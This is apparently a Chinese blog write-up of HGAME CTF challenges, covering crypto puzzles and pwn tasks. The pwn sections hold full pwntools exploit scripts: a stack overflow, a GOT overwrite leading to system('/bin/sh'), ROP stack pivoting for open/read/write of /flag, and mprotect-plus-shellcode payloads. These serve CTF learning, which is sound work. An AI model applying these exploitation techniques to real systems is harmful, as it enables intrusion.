复现hgame
week1
crypto
兔兔的车票
题目:
from PIL import Image
from Crypto.Util.number import *
from random import shuffle, randint, getrandbits
flagImg = Image.open('flag.png')
width = flagImg.width
height = flagImg.height
def makeSourceImg():
colors = long_to_bytes(getrandbits(width * height * 24))[::-1]
#生成图像吧
img = Image.new('RGB', (width, height))
x = 0
#写像素
for i in range(height):
for j in range(width):
img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
x += 3
return img
def xorImg(keyImg, sourceImg):
# 生成图片
img = Image.new('RGB', (width, height))
for i in range(height):
for j in range(width):
p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))
img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
return img
n1 = makeSourceImg()
n2 = makeSourceImg()
n3 = makeSourceImg()
nonce = [n1, n2, n3] #三张图片
index = list(range(16)) #生成0~16的序列
shuffle(index) # 打乱序列
e=0
"""
这里flag.png已经提前被保存在source文件夹下了,文件名也是picture{xx}.png
"""
for i in index:
im = Image.open(f"source/picture{i}.png")
key = nonce[randint(0, 2)]
encImg = xorImg(key, im)
encImg.save(f'pics/enc{e}.png')
e+=1
解法:原先我看着只有enc.png,其他啥都没有,怎么个异或?后来也注意到key只有三个,考虑过重复的情况,但是我发现仅有一个enc.png,还是没法搞出原图,后来看了别人的wp,才知道,只要flag.png^picture.png就行,因为它的picture.png原本的就没啥像素,enc.png大部分还是key的像素,所以找到一张存在flag.png的图片,将key异或掉就行,最终虽然得不到真正得flag.png但模糊程度也不高。这里对16张图片笛卡尔积级别异或就行
最后解密代码:
from PIL import Image
from Crypto.Util.number import *
from random import shuffle, randint, getrandbits
flagImg = Image.open(f'pics/enc{0}.png')
width = flagImg.width
height = flagImg.height
flagImg.close()
def xorImg(keyImg, sourceImg):
# 生成图片
img = Image.new('RGB', (width, height))
for i in range(height):
for j in range(width):
p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))
img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
return img
for i in range(16):
for j in range(16):
imi = Image.open(f"pics/enc{i}.png")
imj = Image.open(f"pics/enc{j}.png")
xorimg = xorImg(imj, imi)
xorimg.save(f'source/xor{i*16+j}.png')
imi.close()
imj.close()
最后获得模糊的flag图片:
神秘的电话
题目:
一个疑似base64编码的txt文件
一个播放起来是一个摩斯密码的wav文件
解法:
提取出声音文件的信息:
morse2ascii morse.wav
base64解码:
篱笆一一>栅栏密码;倒着一一>逆序;密匙一一>维吉尼亚密码;北欧神话一一>vidar
(这里用morse2ascii计算出的数据多了一些下划线,做法是每一处下划线都去掉一个就行)
最后flag:
PWN
easy_overflow
他妈的,这道死活搞不出来,看了wp才知道是close函数关闭了标准输出通道。需要在来个报错输出,把结果输出过来
题目没啥好讲的,直接上exp
from pwn import *
io = process('./vuln')
# io = remote("week-1.hgame.lwsec.cn",31267)
elf = ELF('./vuln')
# main_addr = elf.sym['main']
back_addr = elf.sym['b4ckd0or']
payload = b'A'*16 + p64(0) + p64(back_addr)
io.sendline(payload)
io.interactive()
运用1>&2将结果从报错信息中输出
choose_the_seat
**HINTS:**数组下标的检查好像少了点东西
下标v0没有检查下界
seats在bss段,并只有seats写入。无法进行栈操作
思路:运用负下标进行got表覆盖,用got表泄漏libc的地址
- 先用vuln函数覆盖exit的地址,防止程序退出,方便下次再次利用
- 再用setbuf的plt表进行泄漏got地址,再用指定的libc计算基地址
- 用基地址计算system的地址,再用system的地址覆盖puts的地址,puts地址的旁边正好可以存放binsh的地方,连着binsh一起覆盖了
exp:
from pwn import *
io = process('./vuln')
# io = remote('week-1.hgame.lwsec.cn',30536)
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
def b():
gdb.attach(io)
pause()
elf = ELF("./vuln")
libc = ELF('./libc-2.31.so')
vuln_addr = elf.sym['vuln']
sys_libc = libc.sym['system']
libc_setbuf_addr = libc.sym['setbuf']
print('setbuf:',hex(libc_setbuf_addr))
io.sendlineafter(b'one.',str(-6))
io.sendafter(b'your name',p64(vuln_addr))
print("vuln",vuln_addr)
b()
io.sendlineafter(b'one.',str(-8))
io.sendafter(b'your name',b'\xd0')
io.recvuntil(b'name is ')
setbuf_addr = u64(io.recvuntil('Your seat').split(b'\nYour')[0].ljust(8,b'\0'))
print('addr:',hex(setbuf_addr))
base_addr = setbuf_addr - libc_setbuf_addr
sys_addr = base_addr + sys_libc
io.sendlineafter(b'one.',str(-9))
payload = b'/bin/sh\x00' + p64(sys_addr)
io.sendafter(b'your name',payload)
io.interactive()
这里在覆盖setbuf的地址时会写一个字母,字母所占位置不超过0x1000,因为一个内存页就是0x1000,所以无论基地址如何变,函数在内存页中的偏移地址不变,所以我们写一个字母也只是占用了偏移位置,对计算基地址并不会影响,所以我们查看指定libc中的setbuf(静态),将得到的setbuf的地址的偏移数值和我们泄漏出的偏移数值改成相同,再减去我们泄漏出的总值就能得到base_addr
下面把d0换成41就行,41就是我们写进去的’A’
如何这里减去总值:
这里还有一种做法就是写入\xd0,就是让地址不发生变化,这样计算基地址直接减去sym中找的地址就行,其实这种做法也就方便了一点点
io.sendafter(b'your name',b'\xd0')
io.recvuntil(b'name is ')
setbuf_addr = u64(io.recvuntil('Your seat').split(b'\nYour')[0].ljust(8,b'\0'))
print('addr:',hex(setbuf_addr))
binsh的地址正好是下标0x10的整数倍,然后后面就是puts的地址,可以说出题人别有用心了
这里有两种做法,一种是从-9这个下标写入binsh的字符串和system的地址,让程序调用puts间接调用sytem函数
第二种做法就是用one_gadget查找libc中,执行binsh的指令
这里其实条件比较苛刻,要求一些寄存器中的地址对应的内容为null,这里存在偶然性,不过也是可以的
所以我们采用第一种方法
io.sendlineafter(b'one.',str(-9))
payload = b'/bin/sh\x00' + p64(sys_addr)
io.sendafter(b'your name',payload)
这里我们可以先打开tmux终端,在tmux运行exp,前提是exp设置了context.terminal = [“tmux”,”splitw”,”-h”],然后进行gdb.attch
这里方便起见我们可以设置一个调试函数,方便exp运行时临时调试程序
def b():
gdb.attach(io)
pause()
将这个函数放置到我们想调试的地方
效果:
然后再gdb先后输入got一一>p/x *(地址),就可以查看某个got中的内容了
这里吐槽一下,其实gdb新版本可以直接看到got表的内容,我这个gdb已经是ubuntu20.02的最高版本了,我这个docker就不折腾了
(PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。解法:内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程)
结果:
ORW
CTF中这类PWN题目通常通过禁用execve系统调用添加沙箱,不能直接执行命令getshell,这时候需要通过调用open、read、write这样的函数打开flag,存到内存中,再输出
将三个函数开头字母作为简称,也就是orw
可以通过seccomp-tools来判断是否添加沙箱,以及查看沙箱的规则
seccomp-tools dump ./pwn
像这样就是比较经典的只允许64位的read、write、open三个系统调用,其他的系统调用号都被禁止
这里需要用到栈迁移
栈迁移的本质就是控制rsp和rbp,将栈帧转移到我们想要的位置,这里需要执行两次leave;return。
leave=mov rsp,rbp;pop rbp 所以第一次不能将rsp进行改变
第一次是将rbp转移,第二次是将rsp转移。
栈迁移条件:
- 存在 leave ret 这类gadget指令
- 存在可执行shellcode的内存区域
链接:栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)
这里说明一下:open拿到的只是文件句柄,里面没有文件内容,要读文件内容还是要执行read,read的参数就要求文件句柄,read的功能就是将硬盘文件内容读到内存中的某一块缓冲区中,然后write负责将缓冲区中的内容写进屏幕中
题目中溢出长度为0x30,那注入地址为0x30/0x8=6,就6条显然不能构成rop链
进行栈迁移,由于我没做过栈迁移的题,这里详细写一下
第一次溢出,把rbp放到别的地方,然后泄漏puts的内存地址,rbp放到bss+0x200,这个地址其实是程序地址之外的空间了,所以拿来当作新栈对程序不产生影响
payload1 = b'A' * 0x100 + p64(bss+0x200)
payload1 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
计算基地址,算出orw三个函数的地址
success('puts:',hex(puts_addr))
base_addr = puts_addr - libc_puts
open_addr = libc.sym['open'] + base_addr
read_addr = libc.sym['read'] + base_addr
write_addr = libc.sym['write'] + base_addr
第二次溢出,将rbp放置到新栈
payload = b"a" * 0x100
payload += p64(bss + 0x200)
payload += p64(vuln_addr + 0x0F)
io.send(payload)
执行完第二次溢出后,rsp在旧栈位置,rbp在新栈位置,为了让rbp在新栈位置不发生移动,这里我们直接将之后的函数直接定位到read函数上,+0xf,因为read函数之前有对rbp和rsp进行操作
第三次溢出,将进行两次leave;ret,这样rsp就将锁定在新栈的栈顶位置,因为ret主要是靠rsp来控制程序流,rbp只是拿来定位局部变量
payload2 = b'/flag\x00\x00\x00'
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x404160) #这里就是新rbp-0x100的地方,也就是刚写'/flag\x00\x00\x00'的地址
payload2 += p64(pop_rsi_ret)
payload2 += p64(0)
payload2 += p64(open_addr)
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x3)
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x404711) # 可能是指定缓冲区地址
payload2 += p64(pop_rdx_ret)
payload2 += p64(0x100)
payload2 += p64(read_addr)
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x1)
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x404711)
payload2 += p64(pop_rdx_ret)
payload2 += p64(0x100)
payload2 += p64(write_addr)
payload2 = payload2.ljust(0x100,b'a')
payload2 += p64(0x404160) # 这里就是第一次pop rbp后rbp的位置,第二次pop要往我们想要的栈顶走,把rsp移过去
payload2 += p64(leave_ret_addr)
所以第三次的rbp最终位置不用去管它,rbp的任务就是让rsp锁定到新栈栈顶位置就行
这里read和write都需要三个参数,64位,函数从左到右寄存器分别是rdi,rsi,rdx
通过pop ret指令来控制rsp从而控制程序流
以上就是栈迁移的详细内容
完整代码:
from pwn import *
# io = process('./vuln')
io = remote('week-1.hgame.lwsec.cn',31266)
elf = ELF('./vuln')
libc = ELF('libc-2.31.so')
context.log_level = "debug"
context.terminal = ["konsole", "-e"]
vuln_addr = elf.sym['vuln']
libc_puts = libc.sym['puts']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leave_ret_addr = 0x4012be
pop_rdi_ret = 0x0401393
bss = 0x404060
# 第一次溢出,把rbp放到别的地方,然后泄漏puts的内存地址
payload1 = b'A' * 0x100 + p64(bss+0x200)
payload1 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
io.sendafter('task.\n',payload1)
puts_addr = u64(io.recvline().split(b'\n')[0].ljust(8,b'\0'))
success('puts:',hex(puts_addr))
base_addr = puts_addr - libc_puts
open_addr = libc.sym['open'] + base_addr
read_addr = libc.sym['read'] + base_addr
write_addr = libc.sym['write'] + base_addr
pop_rsi_ret = 0x02601f + base_addr
pop_rdx_ret = 0x142c92 + base_addr
payload = b"a" * 0x100
payload += p64(bss + 0x200)
payload += p64(vuln_addr + 0x0F)
io.send(payload)
# 第二次溢出,将rbp放到二次写入的开始处,将rsp放到与rbp相同位置
payload2 = b'/flag\x00\x00\x00'
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x404160) #这里就是新rbp-0x100的地方,也就是刚写'/flag\x00\x00\x00'的地址
payload2 += p64(pop_rsi_ret)
payload2 += p64(0)
payload2 += p64(open_addr)
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x3)
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x404711) # 指定缓冲区地址,随意
payload2 += p64(pop_rdx_ret)
payload2 += p64(0x100)
payload2 += p64(read_addr)
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x1)
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x404711)
payload2 += p64(pop_rdx_ret)
payload2 += p64(0x100)
payload2 += p64(write_addr)
payload2 = payload2.ljust(0x100,b'a')
payload2 += p64(0x404160) # 这里就是第一次pop rbp后rbp的位置,第二次pop要往我们想要的栈顶走,把rsp移过去
payload2 += p64(leave_ret_addr)
# gdb.attach(io)
io.send(payload2)
io.interactive()
最后结果:
这里还有一种做法,原本程序开启了NX保护,我们可以通过libc中的mprotect函数给一段内存区域更改权限,然后在栈中写入shellcode,然后让程序执行栈中的shellcode,这里shellcode也很长,也需要用到栈迁移
payload2 = p64(0) #0x404160
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x404000) #这里是mprotect函数要操作的开始地址 #0x404170
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x1000) # 要操作的大小 #0x404180
payload2 += p64(pop_rdx_ret)
payload2 += p64(7) # 7代表可读可写可执行权限 #0x404190
payload2 += p64(mprotect_addr)
payload2 += p64(0x4041a8) #0x4041a0
payload2 += asm(shellcraft.open("/flag",1))
payload2 += asm(shellcraft.read(3,0x404500,100))
payload2 += asm(shellcraft.write(1,0x404500,100))
payload2 = payload2.ljust(0x100,b'a')
payload2 += p64(0x404160) # 这里就是第一次pop rbp后rbp的位置,第二次pop要往我们想要的栈顶走,把rsp移过去
payload2 += p64(leave_ret_addr)
mprotect参数有三,起始地址,长度,权限
这里程序出了bug,flag中g实在写不进去不知道为啥(更新,没设置64位,加上context.arch = “amd64”这句就行,因为系统默认32位,/flag的字符串正好超出4字节数据)
完整代码:
from pwn import *
# io = process('./vuln')
io = remote('week-1.hgame.lwsec.cn',31266)
elf = ELF('./vuln')
libc = ELF('libc-2.31.so')
# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"
vuln_addr = elf.sym['vuln']
libc_puts = libc.sym['puts']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leave_ret_addr = 0x4012be
pop_rdi_ret = 0x0401393
bss = 0x404060
# 第一次溢出,把rbp放到别的地方,然后泄漏puts的内存地址
payload1 = b'A' * 0x100 + p64(bss+0x200)
payload1 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
io.sendafter('task.\n',payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\0'))
success('puts:',hex(puts_addr))
base_addr = puts_addr - libc_puts
mprotect_addr = libc.sym['mprotect'] + base_addr
pop_rsi_ret = 0x02601f + base_addr
pop_rdx_ret = 0x142c92 + base_addr
payload = b"a" * 0x100
payload += p64(bss + 0x200)
payload += p64(vuln_addr + 0x0F)
io.send(payload)
# 第二次溢出,将rbp放到二次写入的开始处,将rsp放到与rbp相同位置
payload2 = p64(0) #0x404160
payload2 += p64(pop_rdi_ret)
payload2 += p64(0x404000) #这里是mprotect函数要操作的开始地址 #0x404170
payload2 += p64(pop_rsi_ret)
payload2 += p64(0x1000) # 要操作的大小 #0x404180
payload2 += p64(pop_rdx_ret)
payload2 += p64(7) # 7代表可读可写可执行权限 #0x404190
payload2 += p64(mprotect_addr)
payload2 += p64(0x4041a8) #0x4041a0
payload2 += asm(shellcraft.open("/flag",1))
payload2 += asm(shellcraft.read(3,0x404500,100))
payload2 += asm(shellcraft.write(1,0x404500,100))
payload2 = payload2.ljust(0x100,b'a')
payload2 += p64(0x404160) # 这里就是第一次pop rbp后rbp的位置,第二次pop要往我们想要的栈顶走,把rsp移过去
payload2 += p64(leave_ret_addr)
# gdb.attach(io)
io.send(payload2)
io.interactive()
simple_shellcode
题目:
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);
puts("Please input your shellcode:");
read(0, (void *)0xCAFE0000LL, 0x10uLL);
sandbox();
MEMORY[0xCAFE0000]();
return 0;
}
题目用mmap映射出一段以0xCAFE0000开始,长度为0x1000,权限是7(可读可写可执行)
用sandbox设置了系统权限
这里向0xCAFE0000读入16字节,可以考虑rop,但检查保护时,就放弃了
写入shellcode,用orw的话,长度也远远不够
HINTS:
一次read不够多,为什么不再读一次呢?
第一次将read的shellcode读入,然后再程序执行0xCAFE0000这段内存,从而执行读入的read,那就要好好设计一波read的shellcode了,起初我是用rdi这种64位的寄存器写的,但是最终长度远远超过16字节
shellcode = asm("""
mov rax,0
mov rsi,0xCAFE0010
mov rdi,0
mov rdx,0x1000
syscall
""")
然后只能全部改成edi这种32位寄存器的形式了
shellcode = asm("""
mov eax,0
mov esi,0xCAFE0010
mov edi,0
mov edx,0x1000
syscall
""")
但是还是不行
把mov 0的操作全部换成xor,就对了
shellcode = asm("""
xor eax,eax
mov esi,0xCAFE0010
xor edi,edi
mov edx,0x1000
syscall
""")
这里要调用read,就要涉及系统调用号:
在汇编程序中使用Linux系统调用。 您需要采取以下步骤在程序中使用Linux系统调用
- 将系统调用号放在EAX寄存器中。
- 结果通常在EAX寄存器中返回
==这里注意64位和32的系统调用号是不一样的==
- 32位:
- 传参方式:首先将系统调用号 传入 eax,sysread 的调用号 为 3 syswrite 的调用号 为 4
- 64位:
- 传参方式:首先将系统调用号 传入 rax,sysread 的调用号 为 0 syswrite 的调用号 为 1
所以这里的read系统调用号是0
这里写入read的shellcode后,执行我们写的shellcode,第二次写入的orw也是shellcode,这里要设置amd64位不然就无了。
这里有个细节在执行syscall指令时,程序会按照普通程序一样,会将shellcode的下一条指令压栈,所以在执行完syscall后,下一个指令要执行的地方就是syscall后的地址,这里除syscall这一条指令,长度为14,所以第二次写入的地址,只能是0xCAFE0000+14之后的地址,这里我们选择为0xCAFE0010就够了,然后直接写入orw的shellcode。
payload = asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3,0xcafe0500,0x100))
payload += asm(shellcraft.write(1,0xcafe0500,0x100))
这里的缓冲区我原先是写0xcafe1000的,结果后面才发现它总共才申请了0x1000的大小内存,哈哈
完整代码:
from pwn import *
io = remote('week-1.hgame.lwsec.cn',30105)
# context.log_level = "debug"
context.arch = "amd64"
shellcode = asm("""
xor eax,eax
mov esi,0xCAFE0010
xor edi,edi
mov edx,0x1000
syscall
""")
print('len:',len(shellcode))
io.sendafter('shellcode:\n',shellcode)
# payload = b'\x90' * 0x10
payload = asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3,0xcafe0500,0x100))
payload += asm(shellcraft.write(1,0xcafe0500,0x100))
io.send(payload)
io.interactive()
结果:
Week2
re
before_main
题中 __attribute__属性修饰函数,参考链接:(61条消息) 浅析逆向中 gcc 在主函数前后运行的函数_沐一 · 林的博客-CSDN博客_逆向 init
该题考查base64,换表函数定义了__ attribute__ ((constructor))会使函数在 main() 函数之前被执行
这里ptrace检测反调试,即出现反调试就不进行换表操作
自己手动换表后用cyberchef解base64即可
Week3
re
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 jaytp@qq.com